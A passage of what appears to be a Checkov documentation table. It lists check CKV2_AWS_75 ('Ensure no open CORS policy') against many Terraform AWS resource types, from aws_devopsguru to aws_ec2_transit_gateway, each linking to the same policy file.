CKV2_AWS_75     | resource | aws_devopsguru_notification_channel                              | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2558 | CKV2_AWS_75     | resource | aws_devopsguru_resource_collection                               | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2559 | CKV2_AWS_75     | resource | aws_devopsguru_service_integration                               | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2560 | CKV2_AWS_75     | resource | aws_directory_service_conditional_forwarder                      | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2561 | CKV2_AWS_75     | resource | aws_directory_service_directory                                  | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2562 | CKV2_AWS_75     | resource | aws_directory_service_log_subscription                           | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2563 | CKV2_AWS_75     | resource | aws_directory_service_radius_settings                            | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2564 | CKV2_AWS_75     | resource | aws_directory_service_region                                     | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2565 | CKV2_AWS_75     | resource | aws_directory_service_shared_directory                           | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2566 | CKV2_AWS_75     | resource | aws_directory_service_shared_directory_accepter                  | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2567 | CKV2_AWS_75     | resource | aws_directory_service_trust                                      | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2568 | CKV2_AWS_75     | resource | aws_dlm_lifecycle_policy                                         | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2569 | CKV2_AWS_75     | resource | aws_dms_certificate                                              | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2570 | CKV2_AWS_75     | resource | aws_dms_endpoint                                                 | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2571 | CKV2_AWS_75     | resource | aws_dms_event_subscription                                       | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2572 | CKV2_AWS_75     | resource | aws_dms_replication_config                                       | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2573 | CKV2_AWS_75     | resource | aws_dms_replication_instance                                     | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2574 | CKV2_AWS_75     | resource | aws_dms_replication_subnet_group                                 | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2575 | CKV2_AWS_75     | resource | aws_dms_replication_task                                         | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2576 | CKV2_AWS_75     | resource | aws_dms_s3_endpoint                                              | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2577 | CKV2_AWS_75     | resource | aws_docdb_cluster                                                | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2578 | CKV2_AWS_75     | resource | aws_docdb_cluster_instance                                       | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2579 | CKV2_AWS_75     | resource | aws_docdb_cluster_parameter_group                                | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2580 | CKV2_AWS_75     | resource | aws_docdb_cluster_snapshot                                       | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2581 | CKV2_AWS_75     | resource | aws_docdb_event_subscription                                     | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2582 | CKV2_AWS_75     | resource | aws_docdb_global_cluster                                         | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2583 | CKV2_AWS_75     | resource | aws_docdb_subnet_group                                           | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2584 | CKV2_AWS_75     | resource | aws_docdbelastic_cluster                                         | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2585 | CKV2_AWS_75     | resource | aws_drs_replication_configuration_template                       | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2586 | CKV2_AWS_75     | resource | aws_dx_bgp_peer                                                  | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2587 | CKV2_AWS_75     | resource | aws_dx_connection                                                | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2588 | CKV2_AWS_75     | resource | aws_dx_connection_association                                    | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2589 | CKV2_AWS_75     | resource | aws_dx_connection_confirmation                                   | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2590 | CKV2_AWS_75     | resource | aws_dx_gateway                                                   | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2591 | CKV2_AWS_75     | resource | aws_dx_gateway_association                                       | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2592 | CKV2_AWS_75     | resource | aws_dx_gateway_association_proposal                              | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2593 | CKV2_AWS_75     | resource | aws_dx_hosted_connection                                         | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2594 | CKV2_AWS_75     | resource | aws_dx_hosted_private_virtual_interface                          | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2595 | CKV2_AWS_75     | resource | aws_dx_hosted_private_virtual_interface_accepter                 | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2596 | CKV2_AWS_75     | resource | aws_dx_hosted_public_virtual_interface                           | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2597 | CKV2_AWS_75     | resource | aws_dx_hosted_public_virtual_interface_accepter                  | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2598 | CKV2_AWS_75     | resource | aws_dx_hosted_transit_virtual_interface                          | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2599 | CKV2_AWS_75     | resource | aws_dx_hosted_transit_virtual_interface_accepter                 | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2600 | CKV2_AWS_75     | resource | aws_dx_lag                                                       | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2601 | CKV2_AWS_75     | resource | aws_dx_macsec_key_association                                    | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2602 | CKV2_AWS_75     | resource | aws_dx_private_virtual_interface                                 | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2603 | CKV2_AWS_75     | resource | aws_dx_public_virtual_interface                                  | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2604 | CKV2_AWS_75     | resource | aws_dx_transit_virtual_interface                                 | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2605 | CKV2_AWS_75     | resource | aws_dynamodb_contributor_insights                                | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2606 | CKV2_AWS_75     | resource | aws_dynamodb_global_table                                        | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2607 | CKV2_AWS_75     | resource | aws_dynamodb_kinesis_streaming_destination                       | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2608 | CKV2_AWS_75     | resource | aws_dynamodb_resource_policy                                     | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2609 | CKV2_AWS_75     | resource | aws_dynamodb_table                                               | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2610 | CKV2_AWS_75     | resource | aws_dynamodb_table_export                                        | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2611 | CKV2_AWS_75     | resource | aws_dynamodb_table_item                                          | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2612 | CKV2_AWS_75     | resource | aws_dynamodb_table_replica                                       | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2613 | CKV2_AWS_75     | resource | aws_dynamodb_tag                                                 | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2614 | CKV2_AWS_75     | resource | aws_ebs_default_kms_key                                          | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2615 | CKV2_AWS_75     | resource | aws_ebs_encryption_by_default                                    | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2616 | CKV2_AWS_75     | resource | aws_ebs_fast_snapshot_restore                                    | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2617 | CKV2_AWS_75     | resource | aws_ebs_snapshot                                                 | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2618 | CKV2_AWS_75     | resource | aws_ebs_snapshot_block_public_access                             | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2619 | CKV2_AWS_75     | resource | aws_ebs_snapshot_copy                                            | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2620 | CKV2_AWS_75     | resource | aws_ebs_snapshot_import                                          | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2621 | CKV2_AWS_75     | resource | aws_ebs_volume                                                   | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2622 | CKV2_AWS_75     | resource | aws_ec2_availability_zone_group                                  | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2623 | CKV2_AWS_75     | resource | aws_ec2_capacity_block_reservation                               | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2624 | CKV2_AWS_75     | resource | aws_ec2_capacity_reservation                                     | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2625 | CKV2_AWS_75     | resource | aws_ec2_carrier_gateway                                          | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2626 | CKV2_AWS_75     | resource | aws_ec2_client_vpn_authorization_rule                            | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2627 | CKV2_AWS_75     | resource | aws_ec2_client_vpn_endpoint                                      | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2628 | CKV2_AWS_75     | resource | aws_ec2_client_vpn_network_association                           | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2629 | CKV2_AWS_75     | resource | aws_ec2_client_vpn_route                                         | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2630 | CKV2_AWS_75     | resource | aws_ec2_fleet                                                    | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2631 | CKV2_AWS_75     | resource | aws_ec2_host                                                     | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2632 | CKV2_AWS_75     | resource | aws_ec2_image_block_public_access                                | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2633 | CKV2_AWS_75     | resource | aws_ec2_instance_connect_endpoint                                | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2634 | CKV2_AWS_75     | resource | aws_ec2_instance_metadata_defaults                               | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2635 | CKV2_AWS_75     | resource | aws_ec2_instance_state                                           | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2636 | CKV2_AWS_75     | resource | aws_ec2_local_gateway_route                                      | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2637 | CKV2_AWS_75     | resource | aws_ec2_local_gateway_route_table_vpc_association                | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2638 | CKV2_AWS_75     | resource | aws_ec2_managed_prefix_list                                      | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2639 | CKV2_AWS_75     | resource | aws_ec2_managed_prefix_list_entry                                | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2640 | CKV2_AWS_75     | resource | aws_ec2_network_insights_analysis                                | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2641 | CKV2_AWS_75     | resource | aws_ec2_network_insights_path                                    | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2642 | CKV2_AWS_75     | resource | aws_ec2_serial_console_access                                    | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2643 | CKV2_AWS_75     | resource | aws_ec2_subnet_cidr_reservation                                  | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2644 | CKV2_AWS_75     | resource | aws_ec2_tag                                                      | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2645 | CKV2_AWS_75     | resource | aws_ec2_traffic_mirror_filter                                    | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2646 | CKV2_AWS_75     | resource | aws_ec2_traffic_mirror_filter_rule                               | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2647 | CKV2_AWS_75     | resource | aws_ec2_traffic_mirror_session                                   | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2648 | CKV2_AWS_75     | resource | aws_ec2_traffic_mirror_target                                    | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2649 | CKV2_AWS_75     | resource | aws_ec2_transit_gateway                                          | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2650 | CKV2_AWS_75     | resource | aws_ec2_transit_gateway_connect                                  | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2651 | CKV2_AWS_75     | resource | aws_ec2_transit_gateway_connect_peer                             | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2652 | CKV2_AWS_75     | resource | aws_ec2_transit_gateway_default_route_table_association          | Ensure no open CORS policy                                                                                                                                                                               | Terraform | 